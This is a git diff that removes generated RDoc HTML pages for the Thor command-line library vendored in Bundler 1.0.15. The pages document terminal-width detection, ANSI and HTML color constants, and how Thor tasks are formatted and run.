-254:           <span class="ruby-value">%{stty size 2&gt;/dev/null}</span>.<span class="ruby-identifier">split</span>[<span class="ruby-value">1</span>].<span class="ruby-identifier">to_i</span>
-255:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="dynamic-width-tput-method" class="method-detail ">
-				<a name="method-i-dynamic_width_tput"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">dynamic_width_tput</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="dynamic-width-tput-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 257</span>
-257:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">dynamic_width_tput</span>
-258:           <span class="ruby-value">%{tput cols 2&gt;/dev/null}</span>.<span class="ruby-identifier">to_i</span>
-259:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="terminal-width-method" class="method-detail ">
-				<a name="method-i-terminal_width"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">terminal_width</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-This code was copied from Rake, available under MIT-LICENSE Copyright
-&#169; 2003, 2004 Jim Weirich
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="terminal-width-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 237</span>
-237:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">terminal_width</span>
-238:           <span class="ruby-keyword kw">if</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'THOR_COLUMNS'</span>]
-239:             <span class="ruby-identifier">result</span> = <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'THOR_COLUMNS'</span>].<span class="ruby-identifier">to_i</span>
-240:           <span class="ruby-keyword kw">else</span>
-241:             <span class="ruby-identifier">result</span> = <span class="ruby-identifier">unix?</span> <span class="ruby-operator">?</span> <span class="ruby-identifier">dynamic_width</span> <span class="ruby-operator">:</span> <span class="ruby-value">80</span>
-242:           <span class="ruby-keyword kw">end</span>
-243:           (<span class="ruby-identifier">result</span> <span class="ruby-operator">&lt;</span> <span class="ruby-value">10</span>) <span class="ruby-operator">?</span> <span class="ruby-value">80</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">result</span>
-244:         <span class="ruby-keyword kw">rescue</span>
-245:           <span class="ruby-value">80</span>
-246:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="truncate-method" class="method-detail ">
-				<a name="method-i-truncate"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">truncate</span><span
-						class="method-args">(string, width)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="truncate-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/basic.rb, line 265</span>
-265:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">truncate</span>(<span class="ruby-identifier">string</span>, <span class="ruby-identifier">width</span>)
-266:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">string</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">&lt;=</span> <span class="ruby-identifier">width</span>
-267:             <span class="ruby-identifier">string</span>
-268:           <span class="ruby-keyword kw">else</span>
-269:             ( <span class="ruby-identifier">string</span>[<span class="ruby-value">0</span>, <span class="ruby-identifier">width</span><span class="ruby-operator">-</span><span class="ruby-value">3</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">&quot;&quot;</span> ) <span class="ruby-operator">+</span> <span class="ruby-value str">&quot;...&quot;</span>
-270:           <span class="ruby-keyword kw">end</span>
-271:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="unix--method" class="method-detail ">
-				<a name="method-i-unix%3F"></a>
-
-				<div class="method-heading">
-				
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-						class="method-args">()</span>
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-261:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">unix?</span>
-262:           <span class="ruby-constant">RUBY_PLATFORM</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/(aix|darwin|linux|(net|free|open)bsd|cygwin|solaris|irix|hpux)/</span>
-263:         <span class="ruby-keyword kw">end</span></pre>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Shell/Color.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Shell/Color.html
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-Inherit from <a href="Basic.html">Thor::Shell::Basic</a> and add <a
-href="Color.html#method-i-set_color">set_color</a> behavior. Check <a
-href="Basic.html">Thor::Shell::Basic</a> to see all available methods.
-</p>
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-			<dl>
-			
-				<dt><a name="CLEAR">CLEAR</a></dt>
-				
-				<dd class="description"><p>
-Embed in a String to clear all previous ANSI sequences.
-</p></dd>
-				
-			
-				<dt><a name="BOLD">BOLD</a></dt>
-				
-				<dd class="description"><p>
-The start of an ANSI bold sequence.
-</p></dd>
-				
-			
-				<dt><a name="BLACK">BLACK</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground ANSI color to black.
-</p></dd>
-				
-			
-				<dt><a name="RED">RED</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground ANSI color to red.
-</p></dd>
-				
-			
-				<dt><a name="GREEN">GREEN</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground ANSI color to green.
-</p></dd>
-				
-			
-				<dt><a name="YELLOW">YELLOW</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground ANSI color to yellow.
-</p></dd>
-				
-			
-				<dt><a name="BLUE">BLUE</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground ANSI color to blue.
-</p></dd>
-				
-			
-				<dt><a name="MAGENTA">MAGENTA</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground ANSI color to magenta.
-</p></dd>
-				
-			
-				<dt><a name="CYAN">CYAN</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground ANSI color to cyan.
-</p></dd>
-				
-			
-				<dt><a name="WHITE">WHITE</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground ANSI color to white.
-</p></dd>
-				
-			
-				<dt><a name="ON_BLACK">ON_BLACK</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background ANSI color to black.
-</p></dd>
-				
-			
-				<dt><a name="ON_RED">ON_RED</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background ANSI color to red.
-</p></dd>
-				
-			
-				<dt><a name="ON_GREEN">ON_GREEN</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background ANSI color to green.
-</p></dd>
-				
-			
-				<dt><a name="ON_YELLOW">ON_YELLOW</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background ANSI color to yellow.
-</p></dd>
-				
-			
-				<dt><a name="ON_BLUE">ON_BLUE</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background ANSI color to blue.
-</p></dd>
-				
-			
-				<dt><a name="ON_MAGENTA">ON_MAGENTA</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background ANSI color to magenta.
-</p></dd>
-				
-			
-				<dt><a name="ON_CYAN">ON_CYAN</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background ANSI color to cyan.
-</p></dd>
-				
-			
-				<dt><a name="ON_WHITE">ON_WHITE</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background ANSI color to white.
-</p></dd>
-				
-			
-			</dl>
-		</div>
-		
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-		<!-- Attributes -->
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-		<!-- Methods -->
-		
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
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-			<div id="set-color-method" class="method-detail ">
-				<a name="method-i-set_color"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">set_color</span><span
-						class="method-args">(string, color, bold=false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Set color by using a string or one of the defined constants. If a third
-option is set to true, it also adds bold to the string. This is based on
-Highline implementation and it automatically appends <a
-href="Color.html#CLEAR">CLEAR</a> to the end of the returned String.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="set-color-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/color.rb, line 53</span>
-53:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_color</span>(<span class="ruby-identifier">string</span>, <span class="ruby-identifier">color</span>, <span class="ruby-identifier">bold</span>=<span class="ruby-keyword kw">false</span>)
-54:         <span class="ruby-identifier">color</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">const_get</span>(<span class="ruby-identifier">color</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">upcase</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">color</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Symbol</span>)
-55:         <span class="ruby-identifier">bold</span>  = <span class="ruby-identifier">bold</span> <span class="ruby-operator">?</span> <span class="ruby-constant">BOLD</span> <span class="ruby-operator">:</span> <span class="ruby-value str">&quot;&quot;</span>
-56:         <span class="ruby-node">&quot;#{bold}#{color}#{string}#{CLEAR}&quot;</span>
-57:       <span class="ruby-keyword kw">end</span></pre>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Shell/HTML.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Shell/HTML.html
deleted file mode 100644
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-					
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-	<div id="documentation">
-		<h1 class="class">Thor::Shell::HTML</h1>
-
-		<div id="description">
-			<p>
-Inherit from <a href="Basic.html">Thor::Shell::Basic</a> and add <a
-href="HTML.html#method-i-set_color">set_color</a> behavior. Check <a
-href="Basic.html">Thor::Shell::Basic</a> to see all available methods.
-</p>
-
-		</div>
-
-		<!-- Constants -->
-		
-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
-				<dt><a name="BOLD">BOLD</a></dt>
-				
-				<dd class="description"><p>
-The start of an <a href="HTML.html">HTML</a> bold sequence.
-</p></dd>
-				
-			
-				<dt><a name="END_BOLD">END_BOLD</a></dt>
-				
-				<dd class="description"><p>
-The end of an <a href="HTML.html">HTML</a> bold sequence.
-</p></dd>
-				
-			
-				<dt><a name="CLEAR">CLEAR</a></dt>
-				
-				<dd class="description"><p>
-Embed in a String to clear previous color selection.
-</p></dd>
-				
-			
-				<dt><a name="BLACK">BLACK</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground <a href="HTML.html">HTML</a> color to
-black.
-</p></dd>
-				
-			
-				<dt><a name="RED">RED</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground <a href="HTML.html">HTML</a> color to
-red.
-</p></dd>
-				
-			
-				<dt><a name="GREEN">GREEN</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground <a href="HTML.html">HTML</a> color to
-green.
-</p></dd>
-				
-			
-				<dt><a name="YELLOW">YELLOW</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground <a href="HTML.html">HTML</a> color to
-yellow.
-</p></dd>
-				
-			
-				<dt><a name="BLUE">BLUE</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground <a href="HTML.html">HTML</a> color to
-blue.
-</p></dd>
-				
-			
-				<dt><a name="MAGENTA">MAGENTA</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground <a href="HTML.html">HTML</a> color to
-magenta.
-</p></dd>
-				
-			
-				<dt><a name="CYAN">CYAN</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground <a href="HTML.html">HTML</a> color to
-cyan.
-</p></dd>
-				
-			
-				<dt><a name="WHITE">WHITE</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s foreground <a href="HTML.html">HTML</a> color to
-white.
-</p></dd>
-				
-			
-				<dt><a name="ON_BLACK">ON_BLACK</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background <a href="HTML.html">HTML</a> color to
-black.
-</p></dd>
-				
-			
-				<dt><a name="ON_RED">ON_RED</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background <a href="HTML.html">HTML</a> color to
-red.
-</p></dd>
-				
-			
-				<dt><a name="ON_GREEN">ON_GREEN</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background <a href="HTML.html">HTML</a> color to
-green.
-</p></dd>
-				
-			
-				<dt><a name="ON_YELLOW">ON_YELLOW</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background <a href="HTML.html">HTML</a> color to
-yellow.
-</p></dd>
-				
-			
-				<dt><a name="ON_BLUE">ON_BLUE</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background <a href="HTML.html">HTML</a> color to
-blue.
-</p></dd>
-				
-			
-				<dt><a name="ON_MAGENTA">ON_MAGENTA</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background <a href="HTML.html">HTML</a> color to
-magenta.
-</p></dd>
-				
-			
-				<dt><a name="ON_CYAN">ON_CYAN</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background <a href="HTML.html">HTML</a> color to
-cyan.
-</p></dd>
-				
-			
-				<dt><a name="ON_WHITE">ON_WHITE</a></dt>
-				
-				<dd class="description"><p>
-Set the terminal&#8217;s background <a href="HTML.html">HTML</a> color to
-white.
-</p></dd>
-				
-			
-			</dl>
-		</div>
-		
-
-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="ask-method" class="method-detail ">
-				<a name="method-i-ask"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">ask</span><span
-						class="method-args">(statement, color=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Ask something to the user and receives a response.
-</p>
-<h4>Example</h4>
-<p>
-ask(&#8220;What is your name?&#8221;)
-</p>
-<p>
-TODO: Implement <a href="HTML.html#method-i-ask">ask</a> for <a
-href="HTML.html">Thor::Shell::HTML</a>
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="ask-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/html.rb, line 68</span>
-68:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ask</span>(<span class="ruby-identifier">statement</span>, <span class="ruby-identifier">color</span>=<span class="ruby-keyword kw">nil</span>)
-69:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">NotImplementedError</span>, <span class="ruby-node">&quot;Implement #ask for Thor::Shell::HTML&quot;</span>
-70:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="set-color-method" class="method-detail ">
-				<a name="method-i-set_color"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">set_color</span><span
-						class="method-args">(string, color, bold=false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Set color by using a string or one of the defined constants. If a third
-option is set to true, it also adds bold to the string. This is based on
-Highline implementation and it automatically appends <a
-href="HTML.html#CLEAR">CLEAR</a> to the end of the returned String.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="set-color-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell/html.rb, line 56</span>
-56:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_color</span>(<span class="ruby-identifier">string</span>, <span class="ruby-identifier">color</span>, <span class="ruby-identifier">bold</span>=<span class="ruby-keyword kw">false</span>)
-57:         <span class="ruby-identifier">color</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">const_get</span>(<span class="ruby-identifier">color</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">upcase</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">color</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Symbol</span>)
-58:         <span class="ruby-identifier">bold</span>, <span class="ruby-identifier">end_bold</span> = <span class="ruby-identifier">bold</span> <span class="ruby-operator">?</span> [<span class="ruby-constant">BOLD</span>, <span class="ruby-constant">END_BOLD</span>] <span class="ruby-operator">:</span> [<span class="ruby-value str">''</span>, <span class="ruby-value str">''</span>]
-59:         <span class="ruby-node">&quot;#{bold}#{color}#{string}#{CLEAR}#{end_bold}&quot;</span>
-60:       <span class="ruby-keyword kw">end</span></pre>
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-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Task.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Task.html
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-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Thor::Task</title>
-
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-
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-	<script src="../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
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-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/vendor/thor/task_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/task.rb">lib/bundler/vendor/thor/task.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
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-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Struct.new(:name, :description, :long_description, :usage, :options)</p>
-				
-			</div>
-			
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-			<!-- Namespace Contents -->
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-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-formatted_usage">#formatted_usage</a></li>
-					
-					<li><a href="#method-i-handle_argument_error%3F">#handle_argument_error?</a></li>
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-					<li><a href="#method-i-handle_no_method_error%3F">#handle_no_method_error?</a></li>
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-					<li><a href="#method-i-hidden%3F">#hidden?</a></li>
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-					<li><a href="#method-i-not_debugging%3F">#not_debugging?</a></li>
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-					<li><a href="#method-i-required_options">#required_options</a></li>
-					
-					<li><a href="#method-i-run">#run</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
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-			
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-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
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-				
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-				
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-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
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-				
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
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-	<div id="documentation">
-		<h1 class="class">Thor::Task</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
-				<dt><a name="FILE_REGEXP">FILE_REGEXP</a></dt>
-				
-				<dd class="description"></dd>
-				
-			
-			</dl>
-		</div>
-		
-
-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(name, description, long_description, usage, options=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-
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-					<div class="method-source-code"
-						id="new-source">
-<pre>
-   <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 5</span>
-5:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">description</span>, <span class="ruby-identifier">long_description</span>, <span class="ruby-identifier">usage</span>, <span class="ruby-identifier">options</span>=<span class="ruby-keyword kw">nil</span>)
-6:       <span class="ruby-keyword kw">super</span>(<span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>, <span class="ruby-identifier">description</span>, <span class="ruby-identifier">long_description</span>, <span class="ruby-identifier">usage</span>, <span class="ruby-identifier">options</span> <span class="ruby-operator">||</span> {})
-7:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="formatted-usage-method" class="method-detail ">
-				<a name="method-i-formatted_usage"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">formatted_usage</span><span
-						class="method-args">(klass, namespace = true, subcommand = false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the formatted usage by injecting given required arguments and
-required options into the given usage.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="formatted-usage-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 33</span>
-33:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">formatted_usage</span>(<span class="ruby-identifier">klass</span>, <span class="ruby-identifier">namespace</span> = <span class="ruby-keyword kw">true</span>, <span class="ruby-identifier">subcommand</span> = <span class="ruby-keyword kw">false</span>)
-34:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">namespace</span>
-35:         <span class="ruby-identifier">namespace</span> = <span class="ruby-identifier">klass</span>.<span class="ruby-identifier">namespace</span>
-36:         <span class="ruby-identifier">formatted</span> = <span class="ruby-node">&quot;#{namespace.gsub(/^(default)/,'')}:&quot;</span>
-37:         <span class="ruby-identifier">formatted</span>.<span class="ruby-identifier">sub!</span>(<span class="ruby-regexp re">/.$/</span>, <span class="ruby-value str">' '</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">subcommand</span>
-38:       <span class="ruby-keyword kw">end</span>
-39: 
-40:       <span class="ruby-identifier">formatted</span> <span class="ruby-operator">||=</span> <span class="ruby-value str">&quot;&quot;</span>
-41: 
-42:       <span class="ruby-comment cmt"># Add usage with required arguments</span>
-43:       <span class="ruby-identifier">formatted</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">klass</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">klass</span>.<span class="ruby-identifier">arguments</span>.<span class="ruby-identifier">empty?</span>
-44:         <span class="ruby-identifier">usage</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-node">/^#{name}/</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">match</span><span class="ruby-operator">|</span>
-45:           <span class="ruby-identifier">match</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot; &quot;</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">klass</span>.<span class="ruby-identifier">arguments</span>.<span class="ruby-identifier">map</span>{ <span class="ruby-operator">|</span><span class="ruby-identifier">a</span><span class="ruby-operator">|</span> <span class="ruby-identifier">a</span>.<span class="ruby-identifier">usage</span> }.<span class="ruby-identifier">compact</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">' '</span>)
-46:         <span class="ruby-keyword kw">end</span>
-47:       <span class="ruby-keyword kw">else</span>
-48:         <span class="ruby-identifier">usage</span>.<span class="ruby-identifier">to_s</span>
-49:       <span class="ruby-keyword kw">end</span>
-50: 
-51:       <span class="ruby-comment cmt"># Add required options</span>
-52:       <span class="ruby-identifier">formatted</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot; #{required_options}&quot;</span>
-53: 
-54:       <span class="ruby-comment cmt"># Strip and go!</span>
-55:       <span class="ruby-identifier">formatted</span>.<span class="ruby-identifier">strip</span>
-56:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="hidden--method" class="method-detail ">
-				<a name="method-i-hidden%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">hidden?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="hidden--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 14</span>
-14:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">hidden?</span>
-15:       <span class="ruby-keyword kw">false</span>
-16:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="run-method" class="method-detail ">
-				<a name="method-i-run"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">run</span><span
-						class="method-args">(instance, args=[])</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-By default, a task invokes a method in the thor class. You can change this
-implementation to create custom tasks.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="run-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 20</span>
-20:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">run</span>(<span class="ruby-identifier">instance</span>, <span class="ruby-identifier">args</span>=[])
-21:       <span class="ruby-identifier">public_method?</span>(<span class="ruby-identifier">instance</span>) <span class="ruby-operator">?</span>
-22:         <span class="ruby-identifier">instance</span>.<span class="ruby-identifier">send</span>(<span class="ruby-identifier">name</span>, *<span class="ruby-identifier">args</span>) <span class="ruby-operator">:</span> <span class="ruby-identifier">instance</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">handle_no_task_error</span>(<span class="ruby-identifier">name</span>)
-23:     <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">ArgumentError</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-24:       <span class="ruby-identifier">handle_argument_error?</span>(<span class="ruby-identifier">instance</span>, <span class="ruby-identifier">e</span>, <span class="ruby-identifier">caller</span>) <span class="ruby-operator">?</span>
-25:         <span class="ruby-identifier">instance</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">handle_argument_error</span>(<span class="ruby-keyword kw">self</span>, <span class="ruby-identifier">e</span>) <span class="ruby-operator">:</span> (<span class="ruby-identifier">raise</span> <span class="ruby-identifier">e</span>)
-26:     <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">NoMethodError</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-27:       <span class="ruby-identifier">handle_no_method_error?</span>(<span class="ruby-identifier">instance</span>, <span class="ruby-identifier">e</span>, <span class="ruby-identifier">caller</span>) <span class="ruby-operator">?</span>
-28:         <span class="ruby-identifier">instance</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">handle_no_task_error</span>(<span class="ruby-identifier">name</span>) <span class="ruby-operator">:</span> (<span class="ruby-identifier">raise</span> <span class="ruby-identifier">e</span>)
-29:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="protected-instance-method-details" class="method-section section">
-			<h3 class="section-header">Protected Instance Methods</h3>
-
-		
-			<div id="handle-argument-error--method" class="method-detail ">
-				<a name="method-i-handle_argument_error%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">handle_argument_error?</span><span
-						class="method-args">(instance, error, caller)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
